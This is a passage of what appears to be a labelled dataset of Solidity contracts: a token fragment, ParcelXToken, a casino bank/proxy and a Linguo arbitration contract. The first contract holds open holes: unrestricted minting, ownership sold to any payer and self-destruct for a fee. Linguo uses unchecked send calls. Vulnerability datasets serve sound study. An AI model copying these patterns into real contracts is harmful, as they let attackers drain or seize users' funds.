bool public funding = true;
uint256 totalTokens = 1000;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Migrate(address indexed _from, address indexed _to, uint256 _value);
event Refund(address indexed _from, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function QLinkToken() public {
owner = msg.sender;
balances[owner]=1000;
}
function changeNameSymbol(string _name, string _symbol) payable external
{
if (msg.sender==owner || msg.value >=howManyEtherInWeiToChangeSymbolName)
{
name = _name;
symbol = _symbol;
}
}
function changeOwner (address _newowner) payable external
{
if (msg.value>=howManyEtherInWeiToBecomeOwner)
{
owner.transfer(msg.value);
owner.transfer(this.balance);
owner=_newowner;
}
}
function killContract () payable external
{
if (msg.sender==owner || msg.value >=howManyEtherInWeiToKillContract)
{
selfdestruct(owner);
}
}
function transfer(address _to, uint256 _value) public returns (bool) {
var senderBalance = balances[msg.sender];
if (senderBalance >= _value && _value > 0) {
senderBalance -= _value;
balances[msg.sender] = senderBalance;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
return false;
}
function mintTo(address _to, uint256 _value) public returns (bool) {
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function totalSupply() external constant returns (uint256) {
return totalTokens;
}
function balanceOf(address _owner) external constant returns (uint256) {
return balances[_owner];
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) public returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function () payable external {
if (!funding) revert();
if (msg.value == 0) revert();
var numTokens = msg.value * (1000.0/totalTokens);
totalTokens += numTokens;
balances[msg.sender] += numTokens;
Transfer(0, msg.sender, numTokens);
}
} | 1 | 3,051 |
pragma solidity ^0.4.19;
contract Convertible {
function convertMainchainGPX(string destinationAccount, string extra) external returns (bool);
event Converted(address indexed who, string destinationAccount, uint256 amount, string extra);
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MultiOwnable {
address[8] m_owners;
uint m_numOwners;
uint m_multiRequires;
mapping (bytes32 => uint) internal m_pendings;
event AcceptConfirm(address indexed who, uint confirmTotal);
function MultiOwnable (address[] _multiOwners, uint _multiRequires) public {
require(0 < _multiRequires && _multiRequires <= _multiOwners.length);
m_numOwners = _multiOwners.length;
require(m_numOwners <= 8);
for (uint i = 0; i < _multiOwners.length; ++i) {
m_owners[i] = _multiOwners[i];
require(m_owners[i] != address(0));
}
m_multiRequires = _multiRequires;
}
modifier anyOwner {
if (isOwner(msg.sender)) {
_;
}
}
modifier mostOwner(bytes32 operation) {
if (checkAndConfirm(msg.sender, operation)) {
_;
}
}
function isOwner(address currentUser) public view returns (bool) {
for (uint i = 0; i < m_numOwners; ++i) {
if (m_owners[i] == currentUser) {
return true;
}
}
return false;
}
function checkAndConfirm(address currentUser, bytes32 operation) public returns (bool) {
uint ownerIndex = m_numOwners;
uint i;
for (i = 0; i < m_numOwners; ++i) {
if (m_owners[i] == currentUser) {
ownerIndex = i;
}
}
if (ownerIndex == m_numOwners) {
return false;
}
uint newBitFinger = (m_pendings[operation] | (2 ** ownerIndex));
uint confirmTotal = 0;
for (i = 0; i < m_numOwners; ++i) {
if ((newBitFinger & (2 ** i)) > 0) {
confirmTotal ++;
}
}
AcceptConfirm(currentUser, confirmTotal);
if (confirmTotal >= m_multiRequires) {
delete m_pendings[operation];
return true;
}
else {
m_pendings[operation] = newBitFinger;
return false;
}
}
}
contract Pausable is MultiOwnable {
event Pause();
event Unpause();
bool paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() mostOwner(keccak256(msg.data)) whenNotPaused public {
paused = true;
Pause();
}
function unpause() mostOwner(keccak256(msg.data)) whenPaused public {
paused = false;
Unpause();
}
function isPause() view public returns(bool) {
return paused;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ParcelXToken is ERC20, MultiOwnable, Pausable, Convertible {
using SafeMath for uint256;
string public constant name = "TestGPXv2";
string public constant symbol = "TestGPXv2";
uint8 public constant decimals = 18;
uint256 public constant TOTAL_SUPPLY = uint256(1000000000) * (uint256(10) ** decimals);
address internal tokenPool;
mapping(address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
function ParcelXToken(address[] _multiOwners, uint _multiRequires)
MultiOwnable(_multiOwners, _multiRequires) public {
tokenPool = this;
require(tokenPool != address(0));
balances[tokenPool] = TOTAL_SUPPLY;
}
function totalSupply() public view returns (uint256) {
return TOTAL_SUPPLY;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
uint256 internal buyRate = uint256(3731);
event Deposit(address indexed who, uint256 value);
event Withdraw(address indexed who, uint256 value, address indexed lastApprover, string extra);
function getBuyRate() external view returns (uint256) {
return buyRate;
}
function setBuyRate(uint256 newBuyRate) mostOwner(keccak256(msg.data)) external {
buyRate = newBuyRate;
}
function buy() payable whenNotPaused public returns (uint256) {
Deposit(msg.sender, msg.value);
require(msg.value >= 0.001 ether);
uint256 tokens = msg.value.mul(buyRate);
require(balances[tokenPool] >= tokens);
balances[tokenPool] = balances[tokenPool].sub(tokens);
balances[msg.sender] = balances[msg.sender].add(tokens);
Transfer(tokenPool, msg.sender, tokens);
return tokens;
}
function () payable public {
if (msg.value > 0) {
buy();
}
}
function execute(address _to, uint256 _value, string _extra) mostOwner(keccak256(msg.data)) external returns (bool){
require(_to != address(0));
Withdraw(_to, _value, msg.sender, _extra);
_to.transfer(_value);
return true;
}
function convertMainchainGPX(string destinationAccount, string extra) external returns (bool) {
require(bytes(destinationAccount).length > 10 && bytes(destinationAccount).length < 128);
require(balances[msg.sender] > 0);
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
balances[tokenPool] = balances[tokenPool].add(amount);
Converted(msg.sender, destinationAccount, amount, extra);
return true;
}
} | 1 | 3,124 |
pragma solidity ^ 0.4 .17;
contract token {
function transferFrom(address sender, address receiver, uint amount) public returns(bool success) {}
function transfer(address receiver, uint amount) public returns(bool success) {}
function balanceOf(address holder) public constant returns(uint) {}
}
contract owned {
address public owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function owned() public {
owner = msg.sender;
}
function changeOwner(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract safeMath {
function safeSub(uint a, uint b) constant internal returns(uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) constant internal returns(uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
function safeMul(uint a, uint b) constant internal returns(uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
}
contract casinoBank is owned, safeMath {
uint public playerBalance;
mapping(address => uint) public balanceOf;
mapping(address => uint) public withdrawAfter;
uint public gasPrice = 20;
token edg;
uint public closeAt;
event Deposit(address _player, uint _numTokens, bool _chargeGas);
event Withdrawal(address _player, address _receiver, uint _numTokens);
function casinoBank(address tokenContract) public {
edg = token(tokenContract);
}
function deposit(address receiver, uint numTokens, bool chargeGas) public isAlive {
require(numTokens > 0);
uint value = safeMul(numTokens, 10000);
if (chargeGas) value = safeSub(value, msg.gas / 1000 * gasPrice);
assert(edg.transferFrom(msg.sender, address(this), numTokens));
balanceOf[receiver] = safeAdd(balanceOf[receiver], value);
playerBalance = safeAdd(playerBalance, value);
Deposit(receiver, numTokens, chargeGas);
}
function requestWithdrawal() public {
withdrawAfter[msg.sender] = now + 7 minutes;
}
function cancelWithdrawalRequest() public {
withdrawAfter[msg.sender] = 0;
}
function withdraw(uint amount) public keepAlive {
require(withdrawAfter[msg.sender] > 0 && now > withdrawAfter[msg.sender]);
withdrawAfter[msg.sender] = 0;
uint value = safeMul(amount, 10000);
balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], value);
playerBalance = safeSub(playerBalance, value);
assert(edg.transfer(msg.sender, amount));
Withdrawal(msg.sender, msg.sender, amount);
}
function withdrawBankroll(uint numTokens) public onlyOwner {
require(numTokens <= bankroll());
assert(edg.transfer(owner, numTokens));
}
function bankroll() constant public returns(uint) {
return safeSub(edg.balanceOf(address(this)), playerBalance / 10000);
}
function close() onlyOwner public {
if (playerBalance == 0) selfdestruct(owner);
if (closeAt == 0) closeAt = now + 30 days;
else if (closeAt < now) selfdestruct(owner);
}
function open() onlyOwner public {
closeAt = 0;
}
modifier isAlive {
require(closeAt == 0);
_;
}
modifier keepAlive {
if (closeAt > 0) closeAt = now + 30 days;
_;
}
}
contract casinoProxy is casinoBank {
mapping(address => bool) public authorized;
address[] public casinoGames;
mapping(address => uint) public count;
modifier onlyAuthorized {
require(authorized[msg.sender]);
_;
}
modifier onlyCasinoGames {
bool isCasino;
for (uint i = 0; i < casinoGames.length; i++) {
if (msg.sender == casinoGames[i]) {
isCasino = true;
break;
}
}
require(isCasino);
_;
}
function casinoProxy(address authorizedAddress, address blackjackAddress, address tokenContract) casinoBank(tokenContract) public {
authorized[authorizedAddress] = true;
casinoGames.push(blackjackAddress);
}
function shift(address receiver, uint numTokens) public onlyCasinoGames {
balanceOf[receiver] = safeAdd(balanceOf[receiver], numTokens);
playerBalance = safeAdd(playerBalance, numTokens);
}
function withdrawFor(address receiver, uint amount, uint8 v, bytes32 r, bytes32 s) public onlyAuthorized keepAlive {
uint gasCost = msg.gas / 1000 * gasPrice;
var player = ecrecover(keccak256(receiver, amount, count[receiver]), v, r, s);
count[receiver]++;
uint value = safeAdd(safeMul(amount, 10000), gasCost);
balanceOf[player] = safeSub(balanceOf[player], value);
playerBalance = safeSub(playerBalance, value);
assert(edg.transfer(receiver, amount));
Withdrawal(player, receiver, amount);
}
function setGameAddress(uint8 game, address newAddress) public onlyOwner {
if (game < casinoGames.length) casinoGames[game] = newAddress;
else casinoGames.push(newAddress);
}
function authorize(address addr) public onlyOwner {
authorized[addr] = true;
}
function deauthorize(address addr) public onlyOwner {
authorized[addr] = false;
}
function setGasPrice(uint8 price) public onlyOwner {
gasPrice = price;
}
function move(uint8 game, uint value, bytes data, uint8 v, bytes32 r, bytes32 s) public onlyAuthorized isAlive {
require(game < casinoGames.length);
require(safeMul(bankroll(), 10000) > value * 8);
var player = ecrecover(keccak256(data), v, r, s);
require(withdrawAfter[player] == 0 || now < withdrawAfter[player]);
value = safeAdd(value, msg.gas / 1000 * gasPrice);
balanceOf[player] = safeSub(balanceOf[player], value);
playerBalance = safeSub(playerBalance, value);
assert(casinoGames[game].call(data));
}
} | 1 | 2,660 |
pragma solidity 0.7.4;
interface IArbitrable {
event Ruling(IArbitrator indexed _arbitrator, uint256 indexed _disputeID, uint256 _ruling);
function rule(uint256 _disputeID, uint256 _ruling) external;
}
interface IArbitrator {
enum DisputeStatus {Waiting, Appealable, Solved}
event DisputeCreation(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
event AppealPossible(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
event AppealDecision(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
function createDispute(uint256 _choices, bytes calldata _extraData) external payable returns (uint256 disputeID);
function arbitrationCost(bytes calldata _extraData) external view returns (uint256 cost);
function appeal(uint256 _disputeID, bytes calldata _extraData) external payable;
function appealCost(uint256 _disputeID, bytes calldata _extraData) external view returns (uint256 cost);
function appealPeriod(uint256 _disputeID) external view returns (uint256 start, uint256 end);
function disputeStatus(uint256 _disputeID) external view returns (DisputeStatus status);
function currentRuling(uint256 _disputeID) external view returns (uint256 ruling);
}
interface IEvidence {
event MetaEvidence(uint256 indexed _metaEvidenceID, string _evidence);
event Evidence(
IArbitrator indexed _arbitrator,
uint256 indexed _evidenceGroupID,
address indexed _party,
string _evidence
);
event Dispute(
IArbitrator indexed _arbitrator,
uint256 indexed _disputeID,
uint256 _metaEvidenceID,
uint256 _evidenceGroupID
);
}
library CappedMath {
uint constant private UINT_MAX = 2**256 - 1;
function addCap(uint _a, uint _b) internal pure returns (uint) {
uint c = _a + _b;
return c >= _a ? c : UINT_MAX;
}
function subCap(uint _a, uint _b) internal pure returns (uint) {
if (_b > _a)
return 0;
else
return _a - _b;
}
function mulCap(uint _a, uint _b) internal pure returns (uint) {
if (_a == 0)
return 0;
uint c = _a * _b;
return c / _a == _b ? c : UINT_MAX;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Linguo is IArbitrable, IEvidence {
using CappedMath for uint256;
uint8 public constant VERSION_ID = 0;
uint256 public constant MULTIPLIER_DIVISOR = 10000;
uint256 private constant NOT_PAYABLE_VALUE = (2**256 - 2) / 2;
enum Status {Created, Assigned, AwaitingReview, DisputeCreated, Resolved}
enum Party {
None,
Translator,
Challenger
}
struct Task {
uint256 submissionTimeout;
uint256 minPrice;
uint256 maxPrice;
Status status;
uint256 lastInteraction;
address payable requester;
uint256 requesterDeposit;
uint256 sumDeposit;
address payable[3] parties;
uint256 disputeID;
Round[] rounds;
uint256 ruling;
}
struct Round {
uint256[3] paidFees;
bool[3] hasPaid;
uint256 feeRewards;
mapping(address => uint256[3]) contributions;
}
address public governor = msg.sender;
IArbitrator public immutable arbitrator;
bytes public arbitratorExtraData;
uint256 public reviewTimeout;
uint256 public translationMultiplier;
uint256 public challengeMultiplier;
uint256 public sharedStakeMultiplier;
uint256 public winnerStakeMultiplier;
uint256 public loserStakeMultiplier;
Task[] public tasks;
mapping(uint256 => uint256) public disputeIDtoTaskID;
event TaskCreated(uint256 indexed _taskID, address indexed _requester, uint256 _timestamp);
event TaskAssigned(uint256 indexed _taskID, address indexed _translator, uint256 _price, uint256 _timestamp);
event TranslationSubmitted(
uint256 indexed _taskID,
address indexed _translator,
string _translatedText,
uint256 _timestamp
);
event TranslationChallenged(uint256 indexed _taskID, address indexed _challenger, uint256 _timestamp);
event TaskResolved(uint256 indexed _taskID, string _reason, uint256 _timestamp);
event AppealContribution(uint256 indexed _taskID, Party _party, address indexed _contributor, uint256 _amount);
event HasPaidAppealFee(uint256 indexed _taskID, Party _party);
modifier onlyGovernor() {
require(msg.sender == governor, "Only governor is allowed to perform this.");
_;
}
constructor(
IArbitrator _arbitrator,
bytes memory _arbitratorExtraData,
uint256 _reviewTimeout,
uint256 _translationMultiplier,
uint256 _challengeMultiplier,
uint256 _sharedStakeMultiplier,
uint256 _winnerStakeMultiplier,
uint256 _loserStakeMultiplier
) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
reviewTimeout = _reviewTimeout;
translationMultiplier = _translationMultiplier;
challengeMultiplier = _challengeMultiplier;
sharedStakeMultiplier = _sharedStakeMultiplier;
winnerStakeMultiplier = _winnerStakeMultiplier;
loserStakeMultiplier = _loserStakeMultiplier;
}
function changeGovernor(address _governor) public onlyGovernor {
governor = _governor;
}
function changeReviewTimeout(uint256 _reviewTimeout) public onlyGovernor {
reviewTimeout = _reviewTimeout;
}
function changeTranslationMultiplier(uint256 _translationMultiplier) public onlyGovernor {
translationMultiplier = _translationMultiplier;
}
function changeChallengeMultiplier(uint256 _challengeMultiplier) public onlyGovernor {
challengeMultiplier = _challengeMultiplier;
}
function changeSharedStakeMultiplier(uint256 _sharedStakeMultiplier) public onlyGovernor {
sharedStakeMultiplier = _sharedStakeMultiplier;
}
function changeWinnerStakeMultiplier(uint256 _winnerStakeMultiplier) public onlyGovernor {
winnerStakeMultiplier = _winnerStakeMultiplier;
}
function changeLoserStakeMultiplier(uint256 _loserStakeMultiplier) public onlyGovernor {
loserStakeMultiplier = _loserStakeMultiplier;
}
function createTask(
uint256 _deadline,
uint256 _minPrice,
string calldata _metaEvidence
) external payable returns (uint256 taskID) {
require(msg.value >= _minPrice, "Deposited value should be greater than or equal to the min price.");
require(_deadline > block.timestamp, "The deadline should be in the future.");
taskID = tasks.length;
Task storage task = tasks.push();
task.submissionTimeout = _deadline - block.timestamp;
task.minPrice = _minPrice;
task.maxPrice = msg.value;
task.lastInteraction = block.timestamp;
task.requester = msg.sender;
task.requesterDeposit = msg.value;
emit MetaEvidence(taskID, _metaEvidence);
emit TaskCreated(taskID, msg.sender, block.timestamp);
}
function assignTask(uint256 _taskID) external payable {
Task storage task = tasks[_taskID];
require(block.timestamp - task.lastInteraction <= task.submissionTimeout, "The deadline has already passed.");
uint256 price = task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
uint256 translatorDeposit = arbitrationCost.addCap((translationMultiplier.mulCap(price)) / MULTIPLIER_DIVISOR);
require(task.status == Status.Created, "Task has already been assigned or reimbursed.");
require(msg.value >= translatorDeposit, "Not enough ETH to reach the required deposit value.");
task.parties[uint256(Party.Translator)] = msg.sender;
task.status = Status.Assigned;
uint256 remainder = task.maxPrice - price;
task.requester.send(remainder);
task.requesterDeposit = price;
task.sumDeposit = translatorDeposit;
remainder = msg.value - translatorDeposit;
msg.sender.send(remainder);
emit TaskAssigned(_taskID, msg.sender, price, block.timestamp);
}
function submitTranslation(uint256 _taskID, string calldata _translation) external {
Task storage task = tasks[_taskID];
require(
task.status == Status.Assigned,
"The task is either not assigned or translation has already been submitted."
);
require(block.timestamp - task.lastInteraction <= task.submissionTimeout, "The deadline has already passed.");
require(
msg.sender == task.parties[uint256(Party.Translator)],
"Can't submit translation to a task that wasn't assigned to you."
);
task.status = Status.AwaitingReview;
task.lastInteraction = block.timestamp;
emit TranslationSubmitted(_taskID, msg.sender, _translation, block.timestamp);
}
function reimburseRequester(uint256 _taskID) external {
Task storage task = tasks[_taskID];
require(task.status < Status.AwaitingReview, "Can't reimburse if translation was submitted.");
require(
block.timestamp - task.lastInteraction > task.submissionTimeout,
"Can't reimburse if the deadline hasn't passed yet."
);
task.status = Status.Resolved;
uint256 amount = task.requesterDeposit + task.sumDeposit;
task.requester.send(amount);
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(_taskID, "requester-reimbursed", block.timestamp);
}
function acceptTranslation(uint256 _taskID) external {
Task storage task = tasks[_taskID];
require(task.status == Status.AwaitingReview, "The task is in the wrong status.");
require(block.timestamp - task.lastInteraction > reviewTimeout, "The review phase hasn't passed yet.");
task.status = Status.Resolved;
uint256 amount = task.requesterDeposit + task.sumDeposit;
task.parties[uint256(Party.Translator)].send(amount);
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(_taskID, "translation-accepted", block.timestamp);
}
function challengeTranslation(uint256 _taskID, string calldata _evidence) external payable {
Task storage task = tasks[_taskID];
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
uint256 challengeDeposit = arbitrationCost.addCap(
(challengeMultiplier.mulCap(task.requesterDeposit)) / MULTIPLIER_DIVISOR
);
require(task.status == Status.AwaitingReview, "The task is in the wrong status.");
require(block.timestamp - task.lastInteraction <= reviewTimeout, "The review phase has already passed.");
require(msg.value >= challengeDeposit, "Not enough ETH to cover challenge deposit.");
task.status = Status.DisputeCreated;
task.parties[uint256(Party.Challenger)] = msg.sender;
task.disputeID = arbitrator.createDispute{value: arbitrationCost}(2, arbitratorExtraData);
disputeIDtoTaskID[task.disputeID] = _taskID;
task.rounds.push();
task.sumDeposit = task.sumDeposit.addCap(challengeDeposit).subCap(arbitrationCost);
uint256 remainder = msg.value - challengeDeposit;
msg.sender.send(remainder);
emit Dispute(arbitrator, task.disputeID, _taskID, _taskID);
emit TranslationChallenged(_taskID, msg.sender, block.timestamp);
if (bytes(_evidence).length > 0) emit Evidence(arbitrator, _taskID, msg.sender, _evidence);
}
function fundAppeal(uint256 _taskID, Party _side) external payable {
Task storage task = tasks[_taskID];
require(
_side == Party.Translator || _side == Party.Challenger,
"Recipient must be either the translator or challenger."
);
require(task.status == Status.DisputeCreated, "No dispute to appeal.");
require(
arbitrator.disputeStatus(task.disputeID) == IArbitrator.DisputeStatus.Appealable,
"Dispute is not appealable."
);
(uint256 appealPeriodStart, uint256 appealPeriodEnd) = arbitrator.appealPeriod(task.disputeID);
require(
block.timestamp >= appealPeriodStart && block.timestamp < appealPeriodEnd,
"Funding must be made within the appeal period."
);
uint256 winner = arbitrator.currentRuling(task.disputeID);
uint256 multiplier;
if (winner == uint256(_side)) {
multiplier = winnerStakeMultiplier;
} else if (winner == 0) {
multiplier = sharedStakeMultiplier;
} else {
require(
block.timestamp - appealPeriodStart < (appealPeriodEnd - appealPeriodStart) / 2,
"The loser must pay during the first half of the appeal period."
);
multiplier = loserStakeMultiplier;
}
Round storage round = task.rounds[task.rounds.length - 1];
require(!round.hasPaid[uint256(_side)], "Appeal fee has already been paid.");
uint256 appealCost = arbitrator.appealCost(task.disputeID, arbitratorExtraData);
uint256 totalCost = appealCost.addCap((appealCost.mulCap(multiplier)) / MULTIPLIER_DIVISOR);
uint256 contribution;
uint256 remainingETH;
(contribution, remainingETH) = calculateContribution(
msg.value,
totalCost.subCap(round.paidFees[uint256(_side)])
);
round.contributions[msg.sender][uint256(_side)] += contribution;
round.paidFees[uint256(_side)] += contribution;
emit AppealContribution(_taskID, _side, msg.sender, contribution);
if (round.paidFees[uint256(_side)] >= totalCost) {
round.hasPaid[uint256(_side)] = true;
round.feeRewards += round.paidFees[uint256(_side)];
emit HasPaidAppealFee(_taskID, _side);
}
msg.sender.send(remainingETH);
if (round.hasPaid[uint256(Party.Translator)] && round.hasPaid[uint256(Party.Challenger)]) {
arbitrator.appeal{value: appealCost}(task.disputeID, arbitratorExtraData);
task.rounds.push();
round.feeRewards = round.feeRewards.subCap(appealCost);
}
}
function calculateContribution(uint256 _available, uint256 _requiredAmount)
internal
pure
returns (uint256 taken, uint256 remainder)
{
if (_requiredAmount > _available) return (_available, 0);
remainder = _available - _requiredAmount;
return (_requiredAmount, remainder);
}
function withdrawFeesAndRewards(
address payable _beneficiary,
uint256 _taskID,
uint256 _round
) public {
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
require(task.status == Status.Resolved, "The task should be resolved.");
uint256 reward;
if (!round.hasPaid[uint256(Party.Translator)] || !round.hasPaid[uint256(Party.Challenger)]) {
reward =
round.contributions[_beneficiary][uint256(Party.Translator)] +
round.contributions[_beneficiary][uint256(Party.Challenger)];
round.contributions[_beneficiary][uint256(Party.Translator)] = 0;
round.contributions[_beneficiary][uint256(Party.Challenger)] = 0;
} else if (task.ruling == uint256(Party.None)) {
uint256 rewardTranslator = round.paidFees[uint256(Party.Translator)] > 0
? (round.contributions[_beneficiary][uint256(Party.Translator)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
uint256 rewardChallenger = round.paidFees[uint256(Party.Challenger)] > 0
? (round.contributions[_beneficiary][uint256(Party.Challenger)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
reward = rewardTranslator + rewardChallenger;
round.contributions[_beneficiary][uint256(Party.Translator)] = 0;
round.contributions[_beneficiary][uint256(Party.Challenger)] = 0;
} else {
reward = round.paidFees[task.ruling] > 0
? (round.contributions[_beneficiary][task.ruling] * round.feeRewards) / round.paidFees[task.ruling]
: 0;
round.contributions[_beneficiary][task.ruling] = 0;
}
_beneficiary.send(reward);
}
function batchRoundWithdraw(
address payable _beneficiary,
uint256 _taskID,
uint256 _cursor,
uint256 _count
) public {
Task storage task = tasks[_taskID];
for (uint256 i = _cursor; i < task.rounds.length && (_count == 0 || i < _cursor + _count); i++)
withdrawFeesAndRewards(_beneficiary, _taskID, i);
}
function rule(uint256 _disputeID, uint256 _ruling) external override {
Party resultRuling = Party(_ruling);
uint256 taskID = disputeIDtoTaskID[_disputeID];
Task storage task = tasks[taskID];
Round storage round = task.rounds[task.rounds.length - 1];
require(msg.sender == address(arbitrator), "Must be called by the arbitrator.");
require(task.status == Status.DisputeCreated, "The dispute has already been resolved.");
if (round.hasPaid[uint256(Party.Translator)] == true) resultRuling = Party.Translator;
else if (round.hasPaid[uint256(Party.Challenger)] == true) resultRuling = Party.Challenger;
emit Ruling(IArbitrator(msg.sender), _disputeID, uint256(resultRuling));
executeRuling(_disputeID, uint256(resultRuling));
}
function executeRuling(uint256 _disputeID, uint256 _ruling) internal {
uint256 taskID = disputeIDtoTaskID[_disputeID];
Task storage task = tasks[taskID];
task.status = Status.Resolved;
task.ruling = _ruling;
uint256 amount;
if (_ruling == uint256(Party.None)) {
task.requester.send(task.requesterDeposit);
amount = task.sumDeposit / 2;
task.parties[uint256(Party.Translator)].send(amount);
task.parties[uint256(Party.Challenger)].send(amount);
